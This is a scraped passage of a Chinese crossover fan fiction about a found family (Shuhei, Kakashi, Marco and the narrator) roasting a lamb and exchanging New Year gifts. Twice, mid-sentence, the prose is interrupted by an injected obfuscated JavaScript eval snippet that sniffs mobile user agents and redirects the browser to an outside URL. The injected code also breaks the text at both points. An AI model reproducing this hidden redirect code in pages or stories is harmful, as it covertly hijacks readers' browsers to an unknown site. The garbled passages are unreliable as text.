“嗯,”马尔科扶了下眼镜,波澜不惊地笑了笑,“之前我们那里处理肉类,大多都是烤。其实也没有什么技巧,不过是杀了放血、剥皮去毛、上料去味……” 马尔科真的会。 因为聊到“自行制作烤全羊”,我和修兵面露困惑、一无所知,卡卡西稍加思索、略知一二,唯独马尔科张口就来,面面俱到。 我就说吧,人的认知和需求一样,都会因为环境而变化。只有基于特定的环境的“最优选”,其本质并没有高低贵贱。 在死火海三个世界里,死神的文化程度最高,火影次之,海贼最差。文化程度高的世界认知力较强,社会化程度、接受能力都会更显著,也更容易融入社会。但反之,越是懂得如何生活,越是生疏如何生存。 我长这么大,甚至没有见过真正的羊;修兵或许见过,却不知道怎么杀羊;卡卡西倒是能想到杀羊的方法,但他不会种植——每年春天他都雷打不动地动一次种花的念头,可迄今为止,有且只有春风馈赠的波斯菊能在家里存活。 但那些我们不会的,马尔科反而擅长。 “……说起来家里为什么会有这么多蔬菜种子?”他侃侃而谈,“我看说明书上写,这些改良种子只需要十五天即可采摘——最近蔬菜价格高昂,后院犁一块地,可以种菜了。” “种菜?!”卡卡西来了精神,“好啊,能种吗?这很难的!” “哈?”马尔科惊了,“种菜……有什么难度?” “种菜也太难了!”修兵和盘托出我们家那段屡战屡败、屡败屡战,再战再败、再败再战的励志故事。 过程太过曲折,惹得马尔科哈哈大笑。 “不是你们的问题,是我们家后院的土壤没有肥力,”他会,一眼勘破问题关键,“你们没有发现后院的野草徒长吗?” “……你们发现了吗?”修兵问我们。 “嗯嗯!”我和卡卡西频频点头。 我们发现了,后院全是瘦瘦高高的“豆芽菜”,弱不禁风,倒伏成片。平日修兵要上班,我俩在家无所事事,卡卡西研究种花,我也跟着一起学习了相关知识。 增加土壤肥力需要掩埋一些有机肥。城市养花,粪便不可取,最好的选择是堆积一些厨余垃圾之类的有机物,将其发酵腐熟成肥水使用。 但这个方法不仅麻烦还有味道,我没有办法接受臭烘烘的卡卡西,卡卡西自己也不能。 “……不用那么麻烦,”马尔科听完我们的顾虑,笑得尤为无奈,“届时把不吃的内脏什么的埋一埋,等一个冬天自然腐烂,来年春天肥力就够了。” “好办法!”卡卡西的养花之魂熊熊燃烧,“羊肠很难打理,羊肠也埋了吧,家人们?” “都行,”修兵无所谓,看了眼我。 “都行,”我也无所谓。 哪种内脏富含哪种营养、食用价值和掩埋价值的对比、掩埋的原理和技术纲要是什么、发酵过程中可能会出现的情况……马尔科老师推了下眼镜,如数家珍。 这当然也是一种“技能”。 他好厉害!侃侃而谈,闪闪发光! 往年都是我一个人当笨蛋,今年不一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14558582|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,马尔科技多不压身,让修兵和卡卡西都变成了笨蛋。 “那这羊杀起来有讲究吗?”卡卡西悉心请教。 “羊啊……”马尔科略一思索,“下手要快一点,恐惧会致使动物分泌激素,影响肉质口感。” “原来如此。” 他们开始交流杀羊心得,其实和杀人没有什么区别,就是一刀毙命;要说一刀毙命,修兵也加入其中,探讨一刀毙命的技巧。他不会杀羊,但他会刀法。三个人聊得热火朝天,只有我坐在沙发上瑟瑟发抖,搭不上话。 好吧……笨蛋还是只有我。 …… 下午四点,天色已有晦意。 早上离家时修兵给我留下了“任务”:卡卡西负责杀羊、马尔科负责烹饪,按理说修兵应该负责录像,可惜他要上班,拍摄任务只能落到我的头上—— 今日我当导演,负责记录我们家真正意义上的第一次聚餐,等修兵空了,他再负责剪辑成片,装进我们的家庭记忆本里。 重型摄像机被卡卡西固定在了后院。我拿着手持式的小机器补拍采访视角。 卡卡西洗完澡出来,我凑上去:“采访!” “哈?选这个时候采访?” 他毫无准备,头发湿哒哒的,像一只白毛落汤狐狸。 但他可是“天才”卡卡西,窘迫不过三秒,就整顿精神,声泪俱下地控诉我:“你怎么欺负人啊,大小姐?” 镜头里的卡卡西一脸无辜。 可恶!是谁欺负人呢!他怎么倒打一耙! “你也总挑我刚睡醒采访我的!”我也开始控诉他,反驳他的不当之词。 “你怎么还记仇啊,大小姐?”卡卡西可怜兮兮地问。 我才不吃这套:“我就是记仇啊!怎么样!” “哈哈哈,不怎么样,”卡卡西瞬间笑弯了眼睛,更像坏狐狸了。 “——卡卡西,喜欢捉弄我的坏狐狸!” 这是我对卡卡西先生采访的结论,我面对镜头,把它录入视频里。 采访完第一位“杀手先生”,我还要赶紧去采访下一位“厨师先生”。卡卡西要进房间换衣服,我裹上羽绒服,自己去后院拍摄。 “大小姐,你站开一点,烟薰到你了。” 烤肉的味道满园飘香,我不由自主地走近,又频频被马尔科驱离。 卡卡西在边上盯着我笑:“哈哈,想吃吗?” “嗯。”我点头,当然想吃,我是来采访的,但闻着烤全羊的香气,一瞬间就把采访抛之脑后。 “什么时候才能烤好?”我激动地搓手手。 “你冷吗?”马尔科瞄我一眼,心思瞬间从烤羊转移到我身上。 他手上有羊,一时间左右为难。 卡卡西闻言,会意地把我提溜到边上,敞开大衣捂住我。 我不是冷,我是馋。卡卡西哪有烤全羊香? ……不过算了。 “……一股烟味。”我回头跟卡卡西聊天。 “哈?”他眉头一挑,不出意外地给我一暴栗,“我来帮你取暖,你还嫌弃我?” “我没有,”我不是,我只是好久没有跟他贴贴,略微有点近乡情怯。 卡卡西抱着也很暖和,过去那么多年我都依靠着他过冬,只有今年情况特殊。 “你知道吗,马尔科很好抱,软乎乎的!”我跟他分享不死鸟羽毛绝妙的触感,“抱着睡觉真的好舒服!” “……”马尔科瞄了我一眼,愣了愣,终于但笑不言。 “哈哈……怎么听起来像是终于找到最心爱的抱枕了似得?”卡卡西笑我,“相处得这么好吗?短短几个月,马尔科就已经变成你最喜欢的抱枕了吗?” “是的。” “那丢到我床上那个毛绒抱枕,我可要卖掉了哦!” “你卖吧。” 我不上当,也不心疼,毕竟已经有不死鸟抱枕了。 我的床分给了马尔科一半,没有那么多空位,这种时候,只能适当选择,不能既要又要。 “……哈哈哈,好像真的很暖和啊,连小熊都不要了,”卡卡西笑得好大声。 他笑完我,又去笑马尔科:“你知道吗马尔科——往年这个时候她早开始休眠了,今年活蹦乱跳。” “是吗?”马尔科笑了笑。 “说起来今年怎么这么活泼啊?”卡卡西不怀好意地揉我脑袋。 他力气好大,揉得我不能自己。 “不准摸!”我把他坏手打掉,卡卡西又来逗我。 “为什么呢为什么呢,你说为什么呢?!” “……”我不说,没有为什么。 见我不上当,卡卡西示意马尔科:“你说为什么呢,马尔科~” 我敏感的嗑CP雷达已经响了。我艰难地望向马尔科,示意他快帮我,但不要在同一个坑里连续跌倒两次,这一次可千万不要把水搅浑浊了! ——卡卡西笑眯眯地东拉西扯,不就是想嗑我俩CP吗?这图谋不轨,可不能让他如愿! 这回卡卡西失算了,他不知道我和马尔科每天睡前都会聊天。 我已经控诉过他只看热闹,不知道帮我。我警告卡卡西没用,但我可以警告马尔科:“你不帮我,我就生气了,是你哄不好的那种!” “……”他也笑,抱着我地震了许久,然后说好,承诺会帮忙。 眼下就是这样的时候—— 卡卡西没有得到理想的答案,又问了一次:“她为什么这么活泼啊,马尔科?” 马尔科扶了下眼镜,心领神会道:“可能是你回来了,大小姐之前也不这样。” 赞美马尔科,他好聪明,把这话题又抛给了卡卡西。 此一时彼一时,突然的包袱接得卡卡西措手不及。 “噢,是吗?”他满目愕然,若有所思地瞄了我一眼。 我想走,他抓住我后领子不放。 “嗯,是的。” 只等马尔科发出了肯定的声音。 卡卡西抱住我,眼睛弯弯:“噢,原来想我了啊,大小姐~” “!” 不妙,他脑袋转得太快了。我又陷入被动局面。 修兵不在,我不想和他斗嘴了,我说不过他,只想离开这个危险的地方。 “我才没有想你,你可不要乱讲!” “没有想我吗?”他不笑了,散发出危险的气息。 “才没有呢!” “好啊,那就——”他迅速靠近我,在我耳边恶魔低语,“长胖了长胖了长胖了!” “!”我气得跳起来,“才没有!” “就有就有就有!” “啊——” 可恶的卡卡西! 37.16 明星(3) 修兵回家的时候,又见到我追着卡卡西在后院跑。 卡卡西回家才十天,已经成功地让我消耗完一整年的运动量。马尔科的方法是止损,让我少泡水;而卡卡西的方法正好相反—— “大小姐,你太怕冷了,要多运动才行啊。” “我的生命在于静止。” “那不行,走,跟我一起运动。” 我之所以说马尔科脾气好,是因为卡卡西就不会将就我。 为了让我多运动,“天才”卡卡西想出的方法有千百种。若是天气晴朗,就拖着我外出爬山、竞走;若是气候不佳,就拽上我在家跳跳舞毯、以及故意惹我追着他打。 “这不也是一种运动吗?运动又不限制方法。” 他有理,我说不过他,修兵能说过他,却不肯说。 毕竟追着他打,总比一到冬天就缩在沙发上动弹不得健康许多。只有一种情况例外,譬如现在——晚上要聚餐,这都五点了,马尔科一个人在烤肉,我和卡卡西非但不干活,还在后院吵吵闹闹,好几次差点撞到马尔科。 “你们两个……”修兵咬牙切齿,说我们,“加起来能有五岁吗?!” “你有两岁吗,真幼稚!”我说卡卡西。 他眉毛一挑:“哈?” 这次换他来追我。 虽然我追不上他,但他可以追上我。 很不妙,我又被抓住了。 长得高就是了不起。卡卡西钳住我手腕,单手举高,我便被轻而易举地吊了起来,他还有一只手,挠痒痒得心应手。 “……哈哈哈……呜呜呜……” 我被抓住动弹不得,马尔科安全了,还笑呢。 修兵斜我们一眼,不说了,转身去搬吃烤全羊必备的啤酒——上次聚餐马尔科和卡卡西约定,等他回来要好好喝。这次得兑现,修兵搬回家六箱,全是没听过牌子的新鲜货。 卡卡西不闹我了,拉上我齐齐观瞻:“这么多酒,商场打折?” “不是吧?”整整六箱,太多了,这不像是修兵的购物风格,我想倒更像是他们公司搞活动送酒什么的…… “经销商想在我们这边打广告,送了样品,”修兵果然说起这话,“新款啤酒,还没上市,一会试试看,喝完给我反馈。” “没问题。”卡卡西一口应下,松开我,过去帮忙。 属实太多了。后备箱打开,除了面上的六箱,更里面还有一些公司派发的礼品。 他们杂志社逢年过节会发礼品,但也不至于有这么多。 “为什么会有这么多?”我问修兵。 “还不是上次同事生病闹得……”修兵搬着箱子,一边走边解释,“查出胃部肿瘤,还有癌变倾向……” “这么严重吗?”马尔科探头来问。 “是啊,”修兵回他,顺便坐下歇脚,“医院那个同事很爱喝酒,医生点了几句,现在我们编辑部谈虎色变,都在戒酒。” 这个啤酒广告来的不是时候。 恰逢前有同事胃部病变,医生判断是日常压力过大、熬夜加班作息不规律、长期颠倒饮食也不规律、再加之重压之下酒精成瘾,然后综合导致不病则已,一病要命; 后有入院之余,本着人文主义精神,其他同事也去医院探望了病友,无不例外地听闻医生上诉一番告诫……然后对号入座,引以为戒,矫枉过正,纷纷戒酒。 平常来广告,样品一抢而空;这次来广告,十箱啤酒像烫手山芋,无人肯接。 迫不得已、勉为其难,修兵只能全部搬回我们家。代价是他得负责写这篇广告稿,好处是免费喝酒,以及这篇商业宣传稿的稿费提成算在修兵头上。 “那次降温以后,潮流风向变了……最近生活板块的问答项目全是咨询健康,”修兵和马尔科讲,“对了,马尔科,大小姐说你煮的汤好吃又暖和,是什么汤?怎么做的?” 修兵又在采风。那天我介绍给他“马尔科给我煮了好吃的汤”,他就眼睛发亮,同样的话也问了我。 可惜我不知道名字,也不知道做法,只知道配料有虾皮、豆腐和海带,整碗汤清香可口,使我不惧严寒。 “超好吃的!”那天我赞不绝口。 “……大小姐赞不绝口,说它是吃过最好吃的汤,”这天修兵也如实转述。 “哪有这么夸张?”马尔科瞄了我一眼,哑然失笑,“只是普通的海带汤,大小姐也太捧场了,每次做点什么她都说好吃。” “我没有捧场,真的很好吃!”我听见他们说海带汤,凑过去一起聊天。 “什么好吃,我也要吃,”卡卡西搬完箱子,见我过去,也凑过来聊天。 他俩坐在门里,我俩站在门外。靠在一起时,我不自觉地挽住了卡卡西的胳膊。 他也习惯了,靠在一起自然而然地让我挽着。 “你俩干嘛呢?”修兵斜我们一眼,“偷感很重。” 马尔科已然不是过去的马尔科了。 偷感很重是最近流行的新新词语,我和卡卡西不约而同地愣住了。他出差在外,断网长达三个月,一时间没有听懂;我虽然能听懂,但反应慢—— 修兵的吐槽让我们呆若木鸡,唯独马尔科心领神会。本背对我们,闻言立即回头,看了我们一眼。 这一眼看得我和卡卡西面面相觑,他却福至心灵,乐不可支。 “偷感很重是什么?”卡卡西扭头问我。 “是像小偷一样,狗狗祟祟的样子。”我解释着。 “噢……”不在乎是不可能的,卡卡西眉头一皱,默默松开了我。 我也松开了他,进门找马尔科:“你笑我!” 马尔科一愣:“啊,我,不是,那个……” 汗都从他脑门上渗出来了,解释的话却出不来。他没得狡辩,就是在笑我! “你不准笑!” “……好吧。” 马尔科不笑了。我好不容易摆平他。门口的卡卡西又乐了,眼睛弯弯的,一脸的不怀好意。 “哇,修兵!看见了没?” “嗯,一山更有一山高。” 修兵和卡卡西莫名其妙地凑到了一起,笑眯眯地看着我和马尔科。审视的眸光不断地向我们扫射,连修兵都让我感到了“陌生”。 他们好可怕,说什么呢,我听不懂。 “你们在说什么?”我凑过去,“也跟我说!” “还能有什么啊,”卡卡西答,却不是对我,是对马尔科,“……修兵还说我太宠大小姐,看看,我算什么啊,真正的高手在这里啊!” “……”马尔科但笑不言。 我早说了,有时候我真的很不理解男士们的快乐。我和马尔科关系很好,是很好笑的事情吗? 我搞不懂他们在笑什么。偏偏卡卡西在笑,修兵也笑,连马尔科都开始笑了。 只有我一个人不懂的世界达成了。 “什么意思嘛?”我不理解,我去问修兵。 “没什么,字面意思,”修兵讲,“我们在说,马尔科把你照顾得很好……对你很好,让我们感到震惊。” “就这个?” “是啊!” 这话卡卡西和我说,我不信。如果是修兵的话……那我就信了。 修兵和卡卡西不一样,他不会捉弄我,他只会帮我,永远帮我。 “这样啊,”我明白了,那的确值得微笑,我也笑起来,连声肯定,“马尔科人特别好,连做汤都给我放好多好多小虾皮呢!” “……等等,”修兵一怔,不笑了,恍然大悟状,“你这家伙,该不会你说的‘好吃’就是他给你放很多虾皮吧?!” “是啊!”我点点头,“那不然呢?” 马尔科给我做一碗汤的材料,外面能做五碗! 我爱吃虾皮,他就猛放虾皮。一口下去,满嘴虾皮,多好吃啊! “……”修兵不笑了,沉默震耳欲聋。 天色渐渐暗了,后院隐隐起风。风刮过我身后,瘆得慌,我深感不妙。 卡卡西在修兵身侧,我身边只有马尔科。说时迟那时快,我赶紧躲到了马尔科身后——还好我躲了,下一秒,修兵果然拿出了风死。 他穿着特殊的义骸,用时,能实体化斩魄刀,不用时,刀就藏在义骸中。 还好我们有默契,他要砍我,我能预判。 “修兵,你干嘛呀!”我好委屈,好端端的,干嘛砍我! “你这家伙——”修兵咬牙切齿,“我都预约了板块,今晚发稿过去。你现在才说是加了虾皮!” 先前马尔科在学习,我闲来无事,去找修兵闲聊。说起那汤,我信誓旦旦,言之凿凿。他信以为真,真以为是什么了不起的特效汤,还准备写个专题,登上新年周刊;计划现在采访马尔科,马上就写。 这下可好,压根不是,美味的秘诀是加了虾皮——而我爱吃虾皮。 我不是故意耍他,但结果的确是我把他耍了。 今晚若交不出稿件,那么阖家团圆的大好日子,修兵还得加班赶稿…… “你这家伙,你出来——” 修兵的刀拔得合情合理,要砍我也合法合规。 我知道,我理解,没问题,是我错了,我认错,我悔改,但我不能出去——开什么玩笑?修兵刀法精湛,手上有剑道证书,是特级大师,拿办事处津贴补助那种。别说出去,他的水准是露头就秒。 我不敢,严丝合缝地躲在马尔科身后,唯唯诺诺,瑟瑟发抖。 “呃……”马尔科赶紧放下了手中的烤全羊,先护住我,“修兵,冷静!冷静!” 修兵很冷静,那调子冷得像一秒锐降二十度:“马尔科,你让开。” “……啊,这。”我使劲儿拽住马尔科,不让他走。 我都这样了,那头传来一阵清澈的笑声。 “哈哈哈哈,要开始了要开始了!” “马尔科你让开吧,过来坐,等下欣赏大小姐撒娇。” 卡卡西非但不帮忙,还坐在一旁看戏。他看还不够,居然笑眯眯地在边上煽风点火,怂恿马尔科过去坐着一起看戏。 ——这是人话吗! 气得我探头瞪他……一点,就探出一点点,还没看清楚卡卡西,只听“唰”的一声,风死已抵在我眉心。 我不敢动,不能动。 他的刀精准无误,不动性命无虞,乱动身首异处。 “还不过来吗?”修兵冷冰冰地呼唤我。 “对不起。”我出来了,我知错,我认罚,我抓住修兵袖子,“对不起嘛,不是故意的……” 认错要有认错的态度,我十分虔诚,把头埋得很低。 身侧没有回应。我看到实体化的风死化作微光的灵子,渐渐消失在修兵手中。夜里星光闪闪,像缠绕着的萤火虫。我伸手抓了一把,修兵微怔,下意识地留住了它,把风死交给了我。 “真是的……下次跟我说清楚啊!” 修兵说我,虽然咬牙切齿,但却不是怒不可遏。 我们认识七年,他从没有一次怒不可遏。 他会骂我倒是真的,但那“骂”与其说是“骂”,更像是一种“骂骂咧咧”。我说不清楚那种微妙的区别,总之,就像卡卡西会揍我,他经常敲我脑袋,是揍我,也不是揍我一样。 修兵骂骂咧咧地说我几句,乍一听凶巴巴的咆哮,也只是咆哮,别无其他。 “对不起嘛,下次注意。”我都道歉了,还能怎样,风死都交给我手里,修兵又不可能真的砍了我。 他只会唠叨几句:“你小心点。这是刀,不是玩具。” “知道了。” 我可不像卡卡西,一把年纪还玩刀,我只是想给马尔科开开眼界。 修兵手上还有屯稿,现在马上立刻要去加班了,争取赶在吃饭前解决我惹出的麻烦。我不想理卡卡西,哼了他一声,拿着风死给马尔科展示—— “你看,马尔科。” “什么?” “这是修兵的斩魄刀,是他的灵魂。” 修兵已经走了,我拔出刀,正要展示。 修兵又已经回来了,冷着脸站在我身后。 “……你这家伙,”他拳头捏的泛青筋,又说我,“在展示我的灵魂?” “嗯,怎么了?”他看起来好生气的样子,但我一头雾水。 斩魄刀是死神的灵魂本质……那句话是这样说的吧?我应该没有记错? 发生什么了?我不理解,修兵也没有回答。 炉火噼里啪啦地作响,而沉默震耳欲聋。 “噗……”卡卡西率先打破了沉默,突然笑起来。 “噗。”马尔科也紧随其后。 我就说他两很合拍。那话真的是那样说的——斩魄刀是死神的灵魂本体。 这有什么好笑的?我不理解,但两人对视一眼,不约而同地捧腹大笑。 “哈哈哈哈!” “真有你的,大小姐,哈哈哈哈!” …… 欢笑声此起彼伏。 我不知道啊,我看着修兵,指望他能给我答案。 “……你别展示了,”修兵从我手里抽走了风死,“你要是闲,过来帮我做事。” “好吧。” 我是闲,马尔科在烤肉,卡卡西搬箱子,修兵要赶稿,只有我无所事事。 我跟着修兵进房间,等他给我吩咐任务,等来等去,却只等到他从书桌抽屉里拿出了一台未拆封的平板电脑。 “给你任务,”修兵吩咐我,“马尔科的新年礼物,你拿去送给他。” “……”我当什么事呢,费这么大精力把我带过来,结果就这? 修兵是害羞,我知道他害羞,但送礼物而已……有必要不好意思吗? 我看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582317|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修兵的眼神是质疑的。 而他看向我的眼神是冰冷的。 “……是不是跟你说过了,给男人眼睛吹沙子,这种事我不接受,也不会做?” “嗯,是的。” “那把我的‘灵魂’展示给男人看有什么区别?” “……” “对、对不起,”我知道错了,立马认错。 “是知错就改的态度吗?” “是的。” “那你去送礼吧……” 无事了。修兵放我去玩,他要自己工作。 他是对的。一个闯祸的人怎么可能做好善后工作?但凡能做好,一开始就不会闯祸了。 闯祸的本质是认识缺陷,我说了,少添乱真的是一种帮助。 我带上礼物去找马尔科。刚出门,马尔科已经站到了客厅里。 烤全羊快好了,卡卡西和马尔科把烤架搬到家里,入夜天冷,晚上我们要在客厅聚餐。 “大小姐,”他见了我,快步迎来,“没事吧?” “没事,修兵给你准备了礼物,他不好意思拿给你,”我把东西交给他,“你快收下吧!” “啊?” “啊什么?” “不是已经买过礼物给我了吗……”他低头看了看脚上的篮球鞋,示意我那是他收到的“礼物”。 我蹙着眉,不能理解:“那是给你添置的衣物,不是礼物。” “哈?不是吗?” “当然不是了!” 开什么玩笑?我只是说我想好了要送他的“礼物”,又没有说礼物是球衣球鞋—— 那天只是巧合,刚好在我话后,买东西而已。至于要送马尔科的“礼物”,我早有想法。 我看他课业繁重,每次写论文不是手写、就是用手机,操作繁琐,极不方便。 如果他有一台自己的平板电脑,写作就会方便许多;如果他能拥有一台办事处认证的双系统平板电脑,那就更方便了,甚至于三天后的考试他可以不去学校,在家用电脑考就好了。 这才是我想到的“礼物”—— 既可以最大限度帮助马尔科提升学习效率,避免无用功;又可以给我减负,让我在家多睡懒觉。 那天去和修兵聊天,除了海带汤好吃,我也说了马尔科学习辛苦,手机屏幕太小…… 修兵在练字,“嗯”了声,懂我意思,然后果然安排来了平板电脑—— 什么叫默契,这就是默契。 不愧是我们家修兵。 当然,这也离不开卡卡西的帮助。 如果不是他打报告、拉关系,办事处的审批流程繁琐,不会这么快批准,至少也得等明年夏天。 “……收下吧,这样就不用去学校考试了,跟助理说一声,考题直接接入办事处系统。” 这种平板电脑和能力者专用的手机同一性质,内置监测系统,危机时可以用来给管理员报警;日常时,也可以用来检测考试环境什么的……总之很好用,很适合马尔科。 我努力向他安利,而他听着,久久沉默。 “怎么了?” “啊,我……” 马尔科太高了,若他不肯低头,我无法透过反光的镜片,看清他的眸色。 我伸手示意他抱抱,马尔科已经习惯了,自然地倾身过来——我见他眼睛里闪着光,是修兵于心不忍的姿态;那欲言又止的动作,也是修兵难以抗拒的表情。 “……” 沉默里,马尔科很是动容。 好吧,我可以理解修兵了。 我捧着马尔科的脸,警告他:“过年不可以流眼泪!” “我没有,我只是……”他舔了下嘴唇,眼神飞快地偏向别处,等到再看向我时,纵有笑容,却颇为无奈,“只是……” 马尔科终究没能说出口。 没关系,我都懂。 人的感情是极其微妙的存在,错综复杂也像时间和命运,难以定义、更难描述。 他不必说得太清楚,即便他说得再清楚,我不是他,也不能完全地理解到他。他能理解自己就好了。 “不可以流眼泪,明白吗?”我拍了拍马尔科的脸,“明白的话,现在要进行第二个活动了!” “……下一个活动?”马尔科破涕为笑,“是什么啊,大小姐?” “你先答应我。” “好,你说吧。” 我不说,我拽着马尔科回房间,让他自己翻一翻我们枕头下面——我给他准备了红包,昨晚睡觉前放的——但他居然没有发现! “……这是什么?!”马尔科惊住了。 “是压岁钱。” “什么?” “压岁钱——欢迎你来我们家,是我们家的迎新仪式。” 海贼世界是没有压岁钱这种东西吗?马尔科目瞪口呆,久久没有回应。 我凑上去,再一次捧着他的脸。 ——没有流眼泪,还笑呢,很开心的样子。 两位门神靠在卧室门口,修兵抄着手眉眼带笑,卡卡西咧着嘴眉飞色舞——一看就不怀好意,我皱了眉,警告卡卡西新年时分,不许乱说话。 “……不要这样看我啊,大小姐,”卡卡西举手投降,“我和修兵过来找马尔科。” “找我?”马尔科又是一怔,自打收到修兵送来的礼物,便开始不在状态。 “喏,给你的!”卡卡西掏出了一枚红包。 “给你。”修兵也顺势递了过来。 “啊,这——” “这什么这。” 卡卡西把红包塞到马尔科手里,顺势拍了拍他的肩:“欢迎你哦,马尔科!欢迎你来我们家!这几个月辛苦了,真会照顾人,把大小姐养得真好!有你做家人真是太好了!” 卡卡西就不听劝,夸奖马尔科会照顾人就罢了,非要再说一次“今年的大小姐活力四射、白白胖胖”…… 他讲得绘声绘色,我听得杀意四起。 团圆饭在即,我忍,我不砍他。 修兵及时替我解围:“好了,卡卡西,让我说两句。” “——你说!”卡卡西飞速让位。 可真轮到修兵讲两句,他又不擅长。 场面话他会说,做记者哪个不能言会道,妙语连珠?但让他说几句心声……除了一句“欢迎你,马尔科,这些天麻烦你了”,再多的表白就只会让修兵口干舌燥、抓耳挠腮。 “……” 四目相对,他好尴尬,耳朵都红了。 我懂得,毕竟十分钟前修兵才告诫过我,他不能接受和男人“展示灵魂”。同理,也不能对男人表白。 轮到我回馈修兵了,我也替他解围:“让我来说两句!” “——你说!”修兵飞速让位。 “欢迎你,马尔科!”我握着他的手,真诚地表白,“我饿了,开饭好吗?” 38.16 明星(4) 答案当然是“好”。 马尔科脾气温和,性情体贴。修兵和卡卡西都不这样像马尔科那样顺着我,我若做错事,挨骂挨揍都是必然,只有马尔科半句责备都不忍心说,答案永远是“好”。 “那么开饭了?” “好呢!开饭!” 烤全羊在客厅里滋滋冒油,香气飘入卧室,再窜入我的鼻腔。 再不开饭是对烤全羊的不尊重。我一秒也等不了,现在、立即、马上,开饭! 我们在客厅搭上了烤架,一家人围炉而坐。 以防煤气中毒,火盆边放置了一桶温水——放在卡卡西和修兵之间,方面他们热啤酒。这种寒冬腊月的天气,只有马尔科还要喝常温。 他当然不是一般人,一般人谁像他这样? “……你是真不怕冷啊!”递酒时,那冰一样的触感甚至会引起卡卡西的震惊。 “呃,我不冷啊,”马尔科开了拉罐,神色如常。 他真不怕冷,这是什么天气,他在家居然只穿一件单衣。 我们穿着羽绒服、自发热保暖衣,还会手脚冰凉,而马尔科只穿薄薄一层,却红光满面,来去自如。 分烤肉也是他来做,只有他轻装上阵,手脚还算灵便。 马尔科拿着小刀比划:“先吃羊腿?羊腿一人一只,刚好四个人。” “好啊,”卡卡西应着,“我要前腿,后腿肉太多,我吃不了,给大小姐吃。” “赞同,也给我前腿,”修兵也吃不了,他饭量比卡卡西更轻,“谁要羊肉汤?” “我要!”我最快举手。 家里的两只小羊,一只架在客厅,做成了五香麻辣的烤全羊;另一只被切成了片,用来煮浓香醇厚的羊肉汤。 修兵给我盛了一大碗,顺手还给我一罐热好的新款果味啤酒。 “你试试味道,不好喝给我,”他告诫我。 “嗯,”我抿了一口,甜甜的蜜桃味,完全可以接受。 肉已经分好了,人也齐聚一堂。 “可以开饭了吗?”我再度询问。 “开饭吧,”马尔科同意。 “快开饭吧,”卡卡西也说,“大小姐都饿坏了。” “那就开饭!”修兵率先举杯。 开饭前自然要举杯,修兵比我还积极。 四只易拉罐高高低低地凑到一起,凑成一个牢不可破的圆圈。修兵及时掏出手机拍照,等他拍摄完毕,卡卡西开始发表新年主题致辞。 “咳咳……又是一年了,家人们。今年为了我们共同的小家庭,各位都辛苦了。” “今年发生了很多事,其中最重要的一件莫过于我们迎来了最后一位家庭成员——” 目光随着话语斜向马尔科处,他微微一怔,迟疑道:“我也要说两句?” “你也说两句,”修兵带头鼓掌。 “这个……”马尔科思索着,目光一一划过我们的脸,“很高兴能加入这个大家庭,虽然有点晚了但是……老实说,我现在才明白卡卡西那句话。” “能在大小姐手下做事很幸运,对吧?”卡卡西拍拍胸脯,一副懂他的表情。 “嗯,对!” 卡卡西真的懂。马尔科了然地笑。 这番话我就不太懂,我会怀疑指不定卡卡西和马尔科之间也会存在一种“默契”? 我瞄了眼修兵,修兵也看着我——显然,他也不太懂。 那没事了。 这个家庭里,我当然是最初的基点。但不能只有我是基点。 来到家庭以后,他们都要作为一个独立的点彼此连接,这样家庭才会由点到线、由线到面,最后连接上马尔科,一家人共同成为稳固的立方体。 他们多一些交流是好的,多多益善。 即便那种“交流”,我不太懂也没关系,他们自己懂就好了——甚至于他们自己都不懂也无关紧要,我们并不知道我和修兵之间“默契”的本质究竟是什么,但它存在,因为它存在,使我和修兵链接紧密。 ——这很浪漫,在文学里,那种东西被称作“羁绊”。 和福袋一样,也是虚无缥缈、可遇不可求的东西。 如果卡卡西和马尔科之间也有的话,当然再好不过了。 但我不准备言明,我问马尔科:“你讲完了?” “嗯,”他点着头,“你要补充点吗,大小姐?” 修兵秒答:“她不补充,只想吃饭。” “对!”我也点头,修兵懂我,这就是我和修兵的浪漫。 “哈哈哈大小姐今年也把‘认真吃饭’履行的很好哦,”卡卡西笑我,“好了好了,先开饭吧,边吃边聊——干杯!新年快乐!” “干杯!” “干杯!” “干杯!” …… 果啤真好喝,喝完甜甜的蜜桃,再来一口香辣的烤羊腿——美味到我快要流眼泪了! 旁坐的修兵放下了羊腿,好歹也是偶尔客串美食博主的明星主编,一口下去,和我如出一辙地目瞪口呆。 “——这也太香了!”修兵连台词都和我的一样。 “哇,真的很香!”马尔科也赞不绝口。 “哈哈哈,是吧,我就说这个羊真的好好吃!”卡卡西洋洋自得。 他“唇齿留香”的形容原来不是夸张,是真的—— 过去的羊肉吃起来是在肉上涂上了调料,说是吃肉,实则是吃调料;既然吃调料,那是不是羊肉又有什么区别呢?我们时常光顾的烤肉店就常常给带来这样的“错觉”,标注是“牛羊肉”,但吃起来并不会感到燥热,反而更加阴冷——听说鸭肉会致使阴冷,我怀疑那家店挂羊肉卖狗肉,只是我没有证据,吃完不能发热并不能作为呈堂证供; 卡卡西带回来的羊肉则迥乎不同: 是羊啊,我们亲眼看见是羊,而且是高级牧草喂养出来的顶级羊。羊肉的味道自然不同凡响,调料只不过是提升口感的辅助,高端的食材只需要最简单的烹饪,肉本身的醇香惊为天人。 我从没有吃过这样的珍馐。 